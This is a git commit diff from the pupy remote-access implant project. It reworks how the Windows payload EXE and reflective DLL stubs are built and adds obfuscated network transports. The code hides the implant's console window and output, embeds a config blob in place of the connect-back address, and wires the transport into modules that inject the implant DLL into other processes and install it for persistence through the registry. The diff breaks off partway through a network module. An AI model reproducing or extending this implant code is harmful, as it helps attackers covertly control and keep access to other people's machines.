mirror of https://github.com/n1nj4sec/pupy.git
obfsproxy pluggable transports now works on windows ! ex: ./pupygen --transport obfs3 && ./pupysh --transport obfs3
This commit is contained in:
parent
14895b05fc
commit
3af2a4455d
|
@ -32,6 +32,7 @@ client/**/*.py[cod]
|
||||||
pupy/*.py[cod]
|
pupy/*.py[cod]
|
||||||
pupy/pupylib/**/*.py[cod]
|
pupy/pupylib/**/*.py[cod]
|
||||||
pupy/modules/*.py[cod]
|
pupy/modules/*.py[cod]
|
||||||
|
pupy/network/**/*.py[cod]
|
||||||
|
|
||||||
# do not ignore package & templates files
|
# do not ignore package & templates files
|
||||||
!pupy/packages/
|
!pupy/packages/
|
||||||
|
|
|
@ -17,22 +17,22 @@ if not (len(sys.argv)==3 and sys.argv[1]=="genzip"):
|
||||||
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
|
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
|
||||||
if sys.argv[2] == 'x86':
|
if sys.argv[2] == 'x86':
|
||||||
outname = 'x86'
|
outname = 'x86'
|
||||||
platform = 'x86'
|
platform = '32'
|
||||||
elif sys.argv[2] == 'x64':
|
elif sys.argv[2] == 'x64':
|
||||||
outname = 'x64'
|
outname = 'x64'
|
||||||
platform = 'amd64'
|
platform = '-amd64'
|
||||||
else:
|
else:
|
||||||
exit('unsupported platform')
|
exit('unsupported platform')
|
||||||
sys.argv=[sys.argv[0],"py2exe"]
|
sys.argv=[sys.argv[0],"py2exe"]
|
||||||
|
|
||||||
|
|
||||||
# put necessary library patches/includes/whatever in this directory
|
# put necessary library patches/includes/whatever in this directory
|
||||||
sys.path.insert(0, "sources/resources/library_patches")
|
sys.path.insert(0, os.path.join("sources","resources","library_patches"))
|
||||||
|
sys.path.insert(0, os.path.join("..","pupy"))
|
||||||
|
|
||||||
setup(
|
setup(
|
||||||
data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
|
#data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
|
||||||
console=['reverse_ssl.py'],
|
console=['..\\pupy\\pp.py'],
|
||||||
#windows=['reverse_ssl.py'],
|
#windows=['reverse_ssl.py'],
|
||||||
#zipfile=None,
|
#zipfile=None,
|
||||||
options={ "py2exe" : {
|
options={ "py2exe" : {
|
||||||
|
@ -49,19 +49,25 @@ excluded_files = [
|
||||||
'library.zip',
|
'library.zip',
|
||||||
'mswsock.dll',
|
'mswsock.dll',
|
||||||
'python27.dll',
|
'python27.dll',
|
||||||
|
'pp.exe',
|
||||||
|
'w9xpopen.exe',
|
||||||
]
|
]
|
||||||
|
|
||||||
def zwalk(path, zf):
|
def zwalk(path, zf):
|
||||||
for root, dirs, files in os.walk(path):
|
for root, dirs, files in os.walk(path):
|
||||||
for file in files:
|
for file in files:
|
||||||
if file.lower() in excluded_files:
|
if file.lower() in excluded_files:
|
||||||
pass
|
pass
|
||||||
|
elif file.endswith('.pyd') and "." in file.rsplit(".",1)[0]:
|
||||||
|
arch_path="/".join(file.rsplit(".",1)[0].split('.'))
|
||||||
|
zf.write(os.path.join(root,file),arcname=arch_path+".pyd")
|
||||||
else:
|
else:
|
||||||
zf.write(os.path.join(root, file))
|
zf.write(os.path.join(root, file))
|
||||||
|
|
||||||
|
|
||||||
with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf:
|
with zipfile.ZipFile('sources/resources/library%s.zip' % outname, 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||||
root = os.getcwd()
|
root = os.getcwd()
|
||||||
os.chdir('build/bdist.win-%s/winexe/collect-2.7' % platform)
|
os.chdir('build/bdist.win%s/winexe/collect-2.7' % platform)
|
||||||
zwalk('.', zf)
|
zwalk('.', zf)
|
||||||
os.chdir('%s/dist' % root)
|
os.chdir('%s/dist' % root)
|
||||||
zwalk('.', zf)
|
zwalk('.', zf)
|
||||||
|
|
|
@ -4,7 +4,6 @@ PYTHONPATH=C:/Python27
|
||||||
PYTHON=$(PYTHONPATH)/python.exe
|
PYTHON=$(PYTHONPATH)/python.exe
|
||||||
|
|
||||||
TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates
|
TEMPLATE_OUTPUT_PATH=..\..\pupy\payload_templates
|
||||||
|
|
||||||
ifndef ARCH
|
ifndef ARCH
|
||||||
$(error You must specify an architecture.)
|
$(error You must specify an architecture.)
|
||||||
else
|
else
|
||||||
|
@ -14,14 +13,20 @@ else
|
||||||
CFLAGS:=$(CFLAGS) /DWIN_X86
|
CFLAGS:=$(CFLAGS) /DWIN_X86
|
||||||
endif
|
endif
|
||||||
endif
|
endif
|
||||||
|
ifdef DEBUG
|
||||||
|
DEBUG_ADD:=DEBUG
|
||||||
|
CFLAGS:= $(CFLAGS) /DDEBUG
|
||||||
|
else
|
||||||
|
DEBUG_ADD:=
|
||||||
|
endif
|
||||||
|
|
||||||
PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj
|
PYOBJS=_memimporter.obj MyLoadLibrary.obj Python-dynload.obj pupy_load.obj pupy.obj base_inject.obj
|
||||||
COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj
|
COMMON_OBJS=resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj resources_library_compressed_string_txt.obj actctx.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj resources_msvcr90_dll.obj
|
||||||
|
|
||||||
all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll
|
all: $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe $(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll
|
||||||
|
|
||||||
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py
|
resources\library_compressed_string_$(ARCH).txt: gen_library_compressed_string.py resources\library$(ARCH).zip
|
||||||
$(PYTHON) $+
|
$(PYTHON) gen_library_compressed_string.py
|
||||||
|
|
||||||
resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt
|
resources\library_compressed_string.txt: resources\library_compressed_string_$(ARCH).txt
|
||||||
copy $< $@
|
copy $< $@
|
||||||
|
@ -29,8 +34,8 @@ resources\library_compressed_string.txt: resources\library_compressed_string_$(A
|
||||||
resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt
|
resources_library_compressed_string_txt.c: gen_resource_header.py resources\library_compressed_string.txt
|
||||||
$(PYTHON) $+
|
$(PYTHON) $+
|
||||||
|
|
||||||
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py
|
resources\bootloader.pyc: gen_python_bootloader.py ..\..\pupy\packages\all\pupyimporter.py ..\..\pupy\pp.py
|
||||||
$(PYTHON) $+
|
$(PYTHON) gen_python_bootloader.py $(DEBUG_ADD)
|
||||||
|
|
||||||
resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc
|
resources_bootloader_pyc.c: gen_resource_header.py resources\bootloader.pyc
|
||||||
$(PYTHON) $+
|
$(PYTHON) $+
|
||||||
|
@ -50,6 +55,9 @@ resources_msvcr90_dll.c: gen_resource_header.py resources\msvcr90.dll
|
||||||
$(PYOBJS): %.obj: %.c
|
$(PYOBJS): %.obj: %.c
|
||||||
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $<
|
$(CC) /c $(CFLAGS) /I$(PYTHONPATH)/include $<
|
||||||
|
|
||||||
|
main_exe.obj: main_exe.c
|
||||||
|
$(CC) /c $(CFLAGS) $<
|
||||||
|
|
||||||
%.obj: %.c
|
%.obj: %.c
|
||||||
$(CC) /c $(CFLAGS) $<
|
$(CC) /c $(CFLAGS) $<
|
||||||
|
|
||||||
|
@ -57,7 +65,7 @@ ReflectiveLoader.obj: ReflectiveLoader.c
|
||||||
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
|
$(CC) /c $(CFLAGS) /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /O2 /Ob1 $<
|
||||||
|
|
||||||
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
|
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).exe: main_exe.obj $(PYOBJS) $(COMMON_OBJS)
|
||||||
$(CC) $(CFLAGS) $+ /Fe$@
|
$(CC) $(CFLAGS) $+ /Fe$@
|
||||||
|
|
||||||
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
|
$(TEMPLATE_OUTPUT_PATH)\pupy$(ARCH).dll: main_reflective.obj $(PYOBJS) ReflectiveLoader.obj $(COMMON_OBJS)
|
||||||
$(CC) $(CFLAGS) $+ /Fe$@ /LD
|
$(CC) $(CFLAGS) $+ /Fe$@ /LD
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
|
import sys
|
||||||
import marshal
|
import marshal
|
||||||
import struct
|
import struct
|
||||||
import base64
|
import base64
|
||||||
|
@ -20,7 +21,8 @@ sys.stdout = Blackhole()
|
||||||
sys.stderr = Blackhole()
|
sys.stderr = Blackhole()
|
||||||
del Blackhole
|
del Blackhole
|
||||||
"""
|
"""
|
||||||
#remove_stdout=""
|
if len(sys.argv)==2 and sys.argv[1].strip().lower()=="debug":
|
||||||
|
remove_stdout=""
|
||||||
def get_load_module_code(code, modulename):
|
def get_load_module_code(code, modulename):
|
||||||
loader="""
|
loader="""
|
||||||
import imp, sys
|
import imp, sys
|
||||||
|
@ -42,9 +44,9 @@ if __name__=="__main__":
|
||||||
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
|
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
|
||||||
code=f.read()
|
code=f.read()
|
||||||
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
|
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
|
||||||
code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "<string>", "exec"))
|
code_bytes.append(compile("import pupyimporter;pupyimporter.install();pupyimporter.load_pywintypes()\n", "<string>", "exec"))
|
||||||
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
|
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
|
||||||
with open(os.path.join("..","reverse_ssl.py")) as f:
|
with open(os.path.join("..",'..','pupy',"pp.py")) as f:
|
||||||
code=f.read()
|
code=f.read()
|
||||||
code_bytes.append(compile(code+"\n", "<string>", "exec"))
|
code_bytes.append(compile(code+"\n", "<string>", "exec"))
|
||||||
code_bytes=marshal.dumps(code_bytes)
|
code_bytes=marshal.dumps(code_bytes)
|
||||||
|
|
|
@ -3,20 +3,11 @@
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include "pupy_load.h"
|
#include "pupy_load.h"
|
||||||
|
#ifndef DEBUG
|
||||||
|
#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")
|
||||||
|
#endif
|
||||||
|
|
||||||
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
|
|
||||||
|
|
||||||
|
|
||||||
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
|
|
||||||
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
|
|
||||||
int main(int argc, char *argv[]){
|
int main(int argc, char *argv[]){
|
||||||
if (argc==2){
|
|
||||||
memcpy(connect_back_host, argv[1], strlen(argv[1])+1);
|
|
||||||
}
|
|
||||||
if(strcmp(connect_back_host,"<default_connect_back_host>:<default_connect_back_port>")==0){
|
|
||||||
printf("usage: %s <host>:<port>",argv[0]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
return mainThread(NULL);
|
return mainThread(NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
/*
|
/*
|
||||||
* Author : Nicolas VERDIER
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
*
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
*/
|
*/
|
||||||
//#pragma comment(lib, "user32")
|
|
||||||
|
#pragma comment(lib, "user32")
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "pupy_load.h"
|
#include "pupy_load.h"
|
||||||
#include "ReflectiveDllInjection.h"
|
#include "ReflectiveDllInjection.h"
|
||||||
|
|
||||||
/* value "<default_connect_back_host>:<default_connect_back_port>" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */
|
|
||||||
char connect_back_host[100]="<default_connect_back_host>:<default_connect_back_port>"; //big array to have space for big domain names.
|
|
||||||
|
|
||||||
extern HINSTANCE hAppInstance;
|
extern HINSTANCE hAppInstance;
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
/*
|
/*
|
||||||
For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h".
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
For the standalone .pyd we need <Python.h>
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "Python-dynload.h"
|
#include "Python-dynload.h"
|
||||||
|
@ -11,11 +11,7 @@ static char module_doc[] = "Builtins utilities for pupy";
|
||||||
|
|
||||||
extern const char resources_library_compressed_string_txt_start[];
|
extern const char resources_library_compressed_string_txt_start[];
|
||||||
extern const int resources_library_compressed_string_txt_size;
|
extern const int resources_library_compressed_string_txt_size;
|
||||||
#ifndef STANDALONE
|
char pupy_config[4096]="####---PUPY_CONFIG_COMES_HERE---####\n"; //big array to have space for more config / code run at startup
|
||||||
extern char connect_back_host[100];
|
|
||||||
#else
|
|
||||||
char connect_back_host[100] = "0.0.0.0:443";
|
|
||||||
#endif
|
|
||||||
extern const DWORD dwPupyArch;
|
extern const DWORD dwPupyArch;
|
||||||
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
|
||||||
{
|
{
|
||||||
|
@ -23,10 +19,11 @@ static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args
|
||||||
}
|
}
|
||||||
|
|
||||||
static PyObject *
|
static PyObject *
|
||||||
Py_get_connect_back_host(PyObject *self, PyObject *args)
|
Py_get_pupy_config(PyObject *self, PyObject *args)
|
||||||
{
|
{
|
||||||
return Py_BuildValue("s", connect_back_host);
|
return Py_BuildValue("s", pupy_config);
|
||||||
}
|
}
|
||||||
|
|
||||||
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
|
||||||
{
|
{
|
||||||
if(dwPupyArch==PROCESS_ARCH_X86){
|
if(dwPupyArch==PROCESS_ARCH_X86){
|
||||||
|
@ -73,7 +70,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
|
||||||
}
|
}
|
||||||
|
|
||||||
static PyMethodDef methods[] = {
|
static PyMethodDef methods[] = {
|
||||||
{ "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" },
|
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
|
||||||
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
|
||||||
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
|
||||||
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
|
||||||
|
|
|
@ -1,3 +1,8 @@
|
||||||
|
/*
|
||||||
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
|
*/
|
||||||
|
|
||||||
#define QUIET // uncomment to avoid debug prints
|
#define QUIET // uncomment to avoid debug prints
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -9,10 +14,6 @@
|
||||||
#include "resource_python_manifest.c"
|
#include "resource_python_manifest.c"
|
||||||
#include "base_inject.h"
|
#include "base_inject.h"
|
||||||
|
|
||||||
|
|
||||||
HANDLE MyActCtx;
|
|
||||||
static ULONG_PTR actToken;
|
|
||||||
|
|
||||||
extern const char resources_python27_dll_start[];
|
extern const char resources_python27_dll_start[];
|
||||||
extern const int resources_python27_dll_size;
|
extern const int resources_python27_dll_size;
|
||||||
extern const char resources_bootloader_pyc_start[];
|
extern const char resources_bootloader_pyc_start[];
|
||||||
|
@ -46,15 +47,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
||||||
char tmp_manifest_path[MAX_PATH];
|
char tmp_manifest_path[MAX_PATH];
|
||||||
char tmp_path[MAX_PATH];
|
char tmp_path[MAX_PATH];
|
||||||
ULONG_PTR cookie = 0;
|
ULONG_PTR cookie = 0;
|
||||||
/*
|
|
||||||
ACTCTX ctx;
|
|
||||||
BOOL activated;
|
|
||||||
HANDLE k32;
|
|
||||||
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
|
|
||||||
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
|
|
||||||
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
|
|
||||||
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
|
|
||||||
*/
|
|
||||||
PyGILState_STATE restore_state;
|
PyGILState_STATE restore_state;
|
||||||
|
|
||||||
if(!GetModuleHandle("msvcr90.dll")){
|
if(!GetModuleHandle("msvcr90.dll")){
|
||||||
|
@ -71,47 +63,10 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
||||||
|
|
||||||
GetTempPath(MAX_PATH, tmp_path);
|
GetTempPath(MAX_PATH, tmp_path);
|
||||||
//InitializeCriticalSection(&csInit);
|
//InitializeCriticalSection(&csInit);
|
||||||
/*
|
|
||||||
k32 = LoadLibrary("kernel32");
|
|
||||||
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
|
|
||||||
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
|
|
||||||
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
|
|
||||||
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
|
|
||||||
|
|
||||||
|
|
||||||
if (!CreateActCtx || !ActivateActCtx)
|
|
||||||
{
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
ZeroMemory(&ctx, sizeof(ctx));
|
|
||||||
ctx.cbSize = sizeof(ACTCTX);
|
|
||||||
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
|
|
||||||
|
|
||||||
|
|
||||||
f=fopen(tmp_manifest_path,"w");
|
|
||||||
fprintf(f,"%s",resource_python_manifest);
|
|
||||||
fclose(f);
|
|
||||||
#ifndef QUIET
|
|
||||||
fprintf(stderr,"manifest written to %s\n",tmp_manifest_path);
|
|
||||||
#endif
|
|
||||||
ctx.lpSource = tmp_manifest_path;
|
|
||||||
|
|
||||||
MyActCtx=CreateActCtx(&ctx);
|
|
||||||
if (MyActCtx != NULL)
|
|
||||||
{
|
|
||||||
AddRefActCtx(MyActCtx);
|
|
||||||
}
|
|
||||||
#ifndef QUIET
|
|
||||||
DeleteFile(tmp_manifest_path);
|
|
||||||
#endif
|
|
||||||
*/
|
|
||||||
|
|
||||||
if(!Py_IsInitialized)
|
if(!Py_IsInitialized)
|
||||||
{
|
{
|
||||||
int res=0;
|
int res=0;
|
||||||
//activated = ActivateActCtx(MyActCtx, &actToken);
|
|
||||||
//cookie=_My_ActivateActCtx();
|
|
||||||
if(GetModuleHandle("python27.dll")){
|
if(GetModuleHandle("python27.dll")){
|
||||||
HANDLE hp;
|
HANDLE hp;
|
||||||
#ifndef QUIET
|
#ifndef QUIET
|
||||||
|
@ -144,7 +99,6 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
||||||
fprintf(stderr,"python interpreter loaded\n");
|
fprintf(stderr,"python interpreter loaded\n");
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
//_My_DeactivateActCtx(cookie);
|
|
||||||
}
|
}
|
||||||
#ifndef QUIET
|
#ifndef QUIET
|
||||||
fprintf(stderr,"calling PyEval_InitThreads() ...\n");
|
fprintf(stderr,"calling PyEval_InitThreads() ...\n");
|
||||||
|
@ -177,15 +131,12 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
||||||
fprintf(stderr,"initpupy()\n");
|
fprintf(stderr,"initpupy()\n");
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
//mod = PyImport_ImportModule("sys");
|
|
||||||
|
|
||||||
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
|
|
||||||
|
|
||||||
/* We execute then in the context of '__main__' */
|
/* We execute then in the context of '__main__' */
|
||||||
#ifndef QUIET
|
#ifndef QUIET
|
||||||
fprintf(stderr,"starting evaluating python code ...\n");
|
fprintf(stderr,"starting evaluating python code ...\n");
|
||||||
#endif
|
#endif
|
||||||
//PyRun_SimpleString("print 'ok from python'");
|
|
||||||
m = PyImport_AddModule("__main__");
|
m = PyImport_AddModule("__main__");
|
||||||
if (m) d = PyModule_GetDict(m);
|
if (m) d = PyModule_GetDict(m);
|
||||||
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
|
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
|
||||||
|
@ -206,16 +157,7 @@ DWORD WINAPI mainThread(LPVOID lpArg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
PyGILState_Release(restore_state);
|
PyGILState_Release(restore_state);
|
||||||
//if (PyErr_Occurred())
|
|
||||||
// PyErr_Print();
|
|
||||||
Py_Finalize();
|
Py_Finalize();
|
||||||
/*
|
|
||||||
if (!DeactivateActCtx(0, actToken)){
|
|
||||||
#ifndef QUIET
|
|
||||||
fprintf(stderr,"LOADER: Error deactivating context!\n!");
|
|
||||||
#endif
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
//DeleteCriticalSection(&csInit);
|
//DeleteCriticalSection(&csInit);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|
|
@ -48,10 +48,10 @@ class MigrateModule(PupyModule):
|
||||||
if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
|
if self.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
|
||||||
isProcess64bits=True
|
isProcess64bits=True
|
||||||
self.success("process is 64 bits")
|
self.success("process is 64 bits")
|
||||||
dllbuff=pupygen.get_edit_pupyx64_dll(host, port)
|
dllbuff=pupygen.get_edit_pupyx64_dll(host, port, self.client.pupsrv.transport)
|
||||||
else:
|
else:
|
||||||
self.success("process is 32 bits")
|
self.success("process is 32 bits")
|
||||||
dllbuff=pupygen.get_edit_pupyx86_dll(host, port)
|
dllbuff=pupygen.get_edit_pupyx86_dll(host, port, self.client.pupsrv.transport)
|
||||||
self.success("injecting DLL in target process %s ..."%pid)
|
self.success("injecting DLL in target process %s ..."%pid)
|
||||||
self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
self.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
|
||||||
self.success("DLL injected !")
|
self.success("DLL injected !")
|
||||||
|
|
|
@ -46,9 +46,9 @@ class PersistenceModule(PupyModule):
|
||||||
#generating exe
|
#generating exe
|
||||||
self.info("generating exe ...")
|
self.info("generating exe ...")
|
||||||
if self.client.desc['proc_arch']=="64bit":
|
if self.client.desc['proc_arch']=="64bit":
|
||||||
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
|
exebuff=pupygen.get_edit_pupyx64_exe(host, port, self.pupsrv.transport)
|
||||||
else:
|
else:
|
||||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
|
exebuff=pupygen.get_edit_pupyx86_exe(host, port, self.pupsrv.transport)
|
||||||
if args.method=="registry":
|
if args.method=="registry":
|
||||||
self.client.load_package("pupwinutils.persistence")
|
self.client.load_package("pupwinutils.persistence")
|
||||||
|
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
|
|
||||||
class Circuit(object):
|
class Circuit(object):
|
||||||
""" alias for obfsproxy style syntax"""
|
""" alias for obfsproxy style syntax"""
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# This file has been taken from obfsproxy project
|
|
||||||
# Using the same buffer object as in obfsproxy to enhance compatibility
|
# Using the same buffer object as in obfsproxy to enhance compatibility
|
||||||
|
#some modifications brings to have waiting capabilities
|
||||||
|
import threading
|
||||||
class Buffer(object):
|
class Buffer(object):
|
||||||
"""
|
"""
|
||||||
A Buffer is a simple FIFO buffer. You write() stuff to it, and you
|
A Buffer is a simple FIFO buffer. You write() stuff to it, and you
|
||||||
|
@ -13,9 +13,20 @@ class Buffer(object):
|
||||||
"""
|
"""
|
||||||
self.buffer = bytes(data)
|
self.buffer = bytes(data)
|
||||||
self.on_write_f=on_write
|
self.on_write_f=on_write
|
||||||
|
self.waiting_lock=threading.Lock()
|
||||||
|
self.waiting=threading.Event()
|
||||||
|
|
||||||
|
|
||||||
def on_write(self):
|
def on_write(self):
|
||||||
if self.on_write_f:
|
if self.on_write_f:
|
||||||
self.on_write_f()
|
self.on_write_f()
|
||||||
|
|
||||||
|
def wait(self, timeout=0.1):
|
||||||
|
""" wait for a size """
|
||||||
|
with self.waiting_lock:
|
||||||
|
self.waiting.clear()
|
||||||
|
self.waiting.wait(timeout)
|
||||||
|
|
||||||
def read(self, n=-1):
|
def read(self, n=-1):
|
||||||
"""
|
"""
|
||||||
Read and return 'n' bytes from the buffer.
|
Read and return 'n' bytes from the buffer.
|
||||||
|
@ -38,8 +49,10 @@ class Buffer(object):
|
||||||
"""
|
"""
|
||||||
Append 'data' to the buffer.
|
Append 'data' to the buffer.
|
||||||
"""
|
"""
|
||||||
self.buffer = self.buffer + data
|
with self.waiting_lock:
|
||||||
self.on_write()
|
self.buffer = self.buffer + data
|
||||||
|
self.on_write()
|
||||||
|
self.waiting.set()
|
||||||
|
|
||||||
def peek(self, n=-1):
|
def peek(self, n=-1):
|
||||||
"""
|
"""
|
||||||
|
|
Binary file not shown.
|
@ -1,5 +1,6 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
from .servers import PupyTCPServer
|
from .servers import PupyTCPServer
|
||||||
from .clients import PupyTCPClient, PupySSLClient
|
from .clients import PupyTCPClient, PupySSLClient
|
||||||
from .transports import dummy, b64
|
from .transports import dummy, b64
|
||||||
|
@ -14,18 +15,18 @@ except ImportError:
|
||||||
from rpyc.utils.authenticators import SSLAuthenticator
|
from rpyc.utils.authenticators import SSLAuthenticator
|
||||||
|
|
||||||
ssl_auth=None
|
ssl_auth=None
|
||||||
config = configparser.ConfigParser()
|
|
||||||
try:
|
def ssl_authenticator():
|
||||||
|
config = configparser.ConfigParser()
|
||||||
config.read("pupy.conf")
|
config.read("pupy.conf")
|
||||||
except Exception:
|
